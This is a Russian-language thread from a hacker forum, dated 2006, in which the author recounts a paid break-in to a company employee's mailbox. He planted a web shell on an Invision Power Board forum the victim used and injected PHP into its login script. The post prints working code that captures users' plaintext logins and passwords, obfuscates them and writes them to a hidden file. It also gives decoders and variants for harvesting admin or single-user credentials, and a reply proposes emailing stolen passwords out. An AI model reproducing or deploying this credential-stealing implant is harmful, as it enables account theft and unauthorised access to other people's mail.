Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Авторские статьи (https://forum.antichat.xyz/forumdisplay.php?f=31)
-   -   угон паролей в ipb (https://forum.antichat.xyz/showthread.php?t=21154)

AoD 30.06.2006 15:32

угон паролей в ipb
 
// История одного взлома.
---------------------------------------------------------------------------------
Итак, началось всё с того, что я получил заказ на угон пароля от
почтового ящика одного крупного Российского предприятия. Почтовый ящик находился
на том же сервере что и сайт этой конторы. Выпив пузырь пива я решил пойти по
пути наименьшего сопротивления и посмотреть на http://domainsdb.net (тогда этот
проект ещё работал) хостятся ли на этом сервере другие проекты в надежде найти
какой-нибудь бажный форум или CMS-ку. После недолгого изучения я понял, что он
крутится на выделенном сервере, то есть параллельных сайтов и форумов хостящихся
на этом сервере не было. Что ж подумал я пора взглянуть на сам портал этого
предприятия. Посмотрев на портал с первого взгляда можно было понять, что
крутится он на заказном неизвестном мне платном движке. Вооружившись ещё парой
пузырей пива и прикрывшись парой каскадных проксей и сокс серверов собственной
установки (не доверяю проксям и соксам, которые не ставил сам, будь они хоть
трижды анонимы) я начал ковырять этот двиг. Каково же было моё удивление, когда я
понял что в двиге всего 4-ре переменные, которые можно проверить. Но расстроился
я ещё больше, когда понял что ни PHP-inj, ни SQL-inj там провести не прокатит.
Все переменные жёстко фильтровались.
По предыдущему обследованию мне было и так ясно, что сервер крутится на
windows 2000 server с msSQL + IIS 5.0 + SSL. Надежда во мне засияла опять и я
полез шарить по своим запасам в поисках подходящих сплоитов, но, поковыряв
сервисы сплоитами я понял, что все они жёстко пропатчены. Пора сканить машину на
наличие бажных сервисов подумал я. Вооружившись надёжным, опять же собственным
shell-ом на FreeBSD-ёвой тачке я запустил nmap сканер. И опять таки обломался.
Никаких бажных сервисов я не нашел. Надежда приказала долго жить и чуть слышно
пискнув тихо скопытилась. На этом я чуть было не плюнул на это дело, так как
оставался только брутфорс, а я не сторонник грубой силы, да и перебирать пароль
из букв и цифр к тому же восьми символьный, (пароли сотрудникам выдавала служба
безопасности предприятия) мне не хотелось. Связавшись с заказчиком, я попросил у
него предоставить мне всё возможную информацию о пользователе ломаемого мыла.
Покопавшись немного в предоставленной инфе я обратил внимание на один часто
посещаемый им форум. Зайдя на форум я сразу понял что это ipb v2.1.4 (происходило
это в период когда только вышел сплоит от RUSH security team). Разобрав сплоит по
полочкам я въехал в то как работает эта уязвимость и ручками заколбасил себе
web-shell на этом форуме (господа юзайте руки и голову всегда, и вас никогда не
навестят маски шоу). О процессе взлома форума ipb не пишу, так как об этом и так
уже столько статей, что и lol разберётся. Что ж скажу сразу, что ставку я сделал
на совпадение пароля пользователя на форуме и на почтовом ящике. Слив себе базу
данных и выдрав из неё hash+соль этого пользователя я врубил PasswordsPro на
перебор паролей начиная сразу с 8-ми символов. Но после 2-х дней перебора и
надписи в PasswordsPro что до конца перебораосталость осталось ну наверное чуть больше
1000 дней я понял что этот вариант меня пожалуй не устроит. Вот тут-то я и понял,
что в гости ко мне пришла хана. Что ж упасть духом значит проиграть подумал я и
угостив эту самую хану пивом притупив, таким образом, её бдительность я начал
думать как мне добыть пароль этого чела и желательно не в зашифрованном виде.
п.с. думал я недолго так как решение пришло почти сразу. Пароль при входе на форум
вы вводите в незашифрованном виде ну а далее он уже шифруется. Значит, перехватить
пароль необходимо на стадии (после ввода до шифрования). Покопавшись в таком же
форуме на localhost-е я понял что обработка вводимых пользователем данных (логин
пароль) происходит в двух скриптах:

sources\action_public\login.php - для пользователей переменные 'UserName' 'PassWord'
sources\action_admin\login.php - для админки переменные 'username' 'password'

Значит, мне необходимо заинклудить в эти файлы свой код на php, который будет
перехватывать пароли пользователей при входе на форум, и записывать их в файл.
Но так как администратор может увидеть наш файл необходимо его криптовать.
Сделать это не составит труда имея под рукой web-shell от этого форума.

// Для этих самых нужд я и написал простенькую программку на php.

Код:

/* программа перехватывает вводивае пользователями логин и пароль
  шифруит их в urlencode и записывает их в файл ./tmp/result в формате htm */

$user=$_POST['UserName'];
$pass=$_POST['PassWord'];
$saved="/tmp/result.htm";       
$to=fopen("$saved","a");
$rstring="%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%3c%62%72%3e";
fputs($to,$rstring);
$rezult="username:$user<br>password:$pass<br>";
        for($i=0;$i<strlen($rezult);$i++)
        {
                $code=ord($rezult[$i]);
                $hexcode=dechex($code);
                fputs($to,"%".$hexcode);
        }
fclose($to);

Заинклудив данный код в sources\action_public\login.php я стал ждать.
Через пару дней я зашёл на этот сайт через web-shell и скачал файл
/tmp/rezult.htm
Файл был такого вида(пример с localhost-а):

Код:

%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d
%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%3c%62%72%3e%75%73%65%72%6e%61%6d%65%3a%61%64
%6d%69%6e%3c%62%72%3e%70%61%73%73%77%6f%72%64%3a%31%3c%62%72%3e%2d%20%2d%20%2d%20
%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d
%20%2d%20%2d%20%2d%3c%62%72%3e%75%73%65%72%6e%61%6d%65%3a%61%64%6d%69%6e%3c%62%72
%3e%70%61%73%73%77%6f%72%64%3a%31%3c%62%72%3e%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20
%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d
%3c%62%72%3e%75%73%65%72%6e%61%6d%65%3a%61%64%6d%69%6e%3c%62%72%3e%70%61%73%73%77
%6f%72%64%3a%31%3c%62%72%3e

Расшифровать его можно разными способами
1. Записываете в переменную string весь код приведённый выше и запускаете в браузере.

Код:

<?php
$string='%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20';
echo urldecode($string);
?>

2. Этот способ поудобней чем первый. В одну директорию с этой программой записываете
result.htm и запускаете программу. В итоге получается файл decode.htm, который
просто открываете в браузере.

Код:

<?php
$linky="temp.htm"; // Путь файла чтения
$saved="decode.htm"; // Путь файла записи
$from=fopen("$linky","r") or die ("Ошибка открытия файла чтения");
$to=fopen("$saved","a") or die ("Ошибка открытия файла записи");
while(!feof($from))
{
        $string=fgets($from);
        fputs($to,urldecode($string));
}
fclose($to) or die ("Ошибка закрытия файла");
fclose($from) or die ("Ошибка закрытия файла");
?>

3. И мой любимый способ записываете этот код в файл и кладете его в htdocs. Туда же
записываете и result.htm. Далее прописываете в браузере
http://localhost/имя_скрипта.php.

Код:

<?php
$path_open="rezult.htm"; // Файл для обработки
$fopenet=fopen($path_open, "r") or die ("Ошибка открытия файла");
while (!feof($fopenet))
        {
                $string=fgets($fopenet);
                echo urldecode($string);
        }
fclose($fopenet) or die ("Ошибка закрытия файла");
?>

Врезультате я увидел в окне браузера незашифрованные пароли пользователей данного
форума. Примерно вот такого вида (пример с localhost-а):

- - - - - - - - - - - - - - - - - - - -
username:admin
password:1
- - - - - - - - - - - - - - - - - - - -
username:admin
password:1
- - - - - - - - - - - - - - - - - - - -
username:admin
password:1
- - - - - - - - - - - - - - - - - - - -
и так далее

Обычным поиском нашел нужного мне пользователя. Проверил, подходит ли пароль от
форума к почтовому ящику и вуаля ПОДХОДИТ!

// Всё на этом история этого взлома заканчивается. Заказчик получил заветный
доступ к чужому мылу, а я зелёных web-маняв.

п.с да и делать это можно не только на форумах ipb, но и во всех остальных
форумах, галереях, гостевых и.т.д, где есть форма регистрации пользователей
и естественно нужен хотя бы web-shell.

Кстати чтобы поиметь таким способом пароли от админки нужно тот же php код что
я поместил в sources\action_public\login.php поместить в
sources\action_admin\login.php заменив предварительно переменную 'UserName' на
'username' а переменную 'PassWord' на 'password' и в тот же файл будут
приходить пароли от админки.

Также можно тырити пароли конкретного пользователя. Для этого просто нужно
использовать конструкцию if т.е сравнить полученное имя пользователя с заранее
записанным и если они совпадают пишем в файл. Если нет то адьёс.

//by AoD специально for Antichat

DimaHbl4 30.06.2006 16:09

Статья Зач0ТНая мне понравилась. Чисто как проходил сам процесс, остальное не ново.
Вообще + и уважение заслужил. Но сам ли ты это делал?

AoD 30.06.2006 16:18

Цитата:

Сообщение от DimaHbl4
Статья Зач0ТНая мне понравилась. Чисто как проходил сам процесс, остальное не ново.
Вообще + и уважение заслужил. Но сам ли ты это делал?

Статья моя. Ничего чужого.
п.с. это было в реале

Ch3ck 30.06.2006 16:18

Да, статья ничего... но вот меня как и Диманыча интересует сам ли ты это всё делал. А статья написана с таким же акцентом как истатьи которые пишут в Хакере. Я не говорю, что ты её оттуда взял, просто прям такие же слова... такой же ход мыслей...
Ладно, хрен с ним, держи +

AoD 30.06.2006 16:24

Цитата:

Сообщение от Dr.Check
Да, статья ничего... но вот меня как и Диманыча интересует сам ли ты это всё делал. А статья написана с таким же акцентом как истатьи которые пишут в Хакере. Я не говорю, что ты её оттуда взял, просто прям такие же слова... такой же ход мыслей...
Ладно, хрен с ним, держи +


Правы только в одном сленг похож на статьи из хакера. Наверное, потому что хакер я читаю с самого первого номера. Статью написал сегодня с самого утра сидел колбасил на работе. п.с. работодатель убьёт :)

bul.666 30.06.2006 16:39

На самом деле статья, а вернее её способ стар... Но всё равно поставлю +1 ))))

bl4ck-cat 30.06.2006 16:44

непонял 1... зачем кодить то? если админ таки посечет и если не дурак, то всё расшифрует )) и второе не легче ли написать скрипт который не будет записывать всё в файл, а будет отправлять всё на специально заготовленое мыло? ))) тогда и админ не посечет и криптовать файл ненадо :)

AoD 30.06.2006 16:52

Цитата:

Сообщение от bl4ck-cat
непонял 1... зачем кодить то? если админ таки посечет и если не дурак, то всё расшифрует )) и второе не легче ли написать скрипт который не будет записывать всё в файл, а будет отправлять всё на специально заготовленое мыло? ))) тогда и админ не посечет и криптовать файл ненадо :)

Если админ нормальный он и так просичёт, а криптится для плохих админов которых я считаю большинство. Вот посмотрит такой хреновый админ в ./tmp/result увидит билибирдень и отвалит, а если увидит пароли от своего форума в открытом виде, то и этот lol поймёт что его поимели. (Так называемая защита от дурака).

А на счёт отправки на мыло – это актуально просто не стал заморачиватся.

AoD 30.06.2006 16:59

Цитата:

Сообщение от bul.666
На самом деле статья, а вернее её способ стар... Но всё равно поставлю +1 ))))

А вот из за того, что способ банален я и решил написать эту статью. Ведь взломом я промышляю чуть ли не с самого детства а про такой способ нигде и ни читал хотя читаю очень много статей и книг по тематике данного форума.

Zadoxlik 30.06.2006 17:51

Это все очень весело и яйку понятно, однако я в своей скромной практике встречал едвали больше 2-3 форумов, где вот так вот просто стояли права на запись в скриптах авторизации и скриптах, инклудаемых в скрипт авторизации


Время: 10:31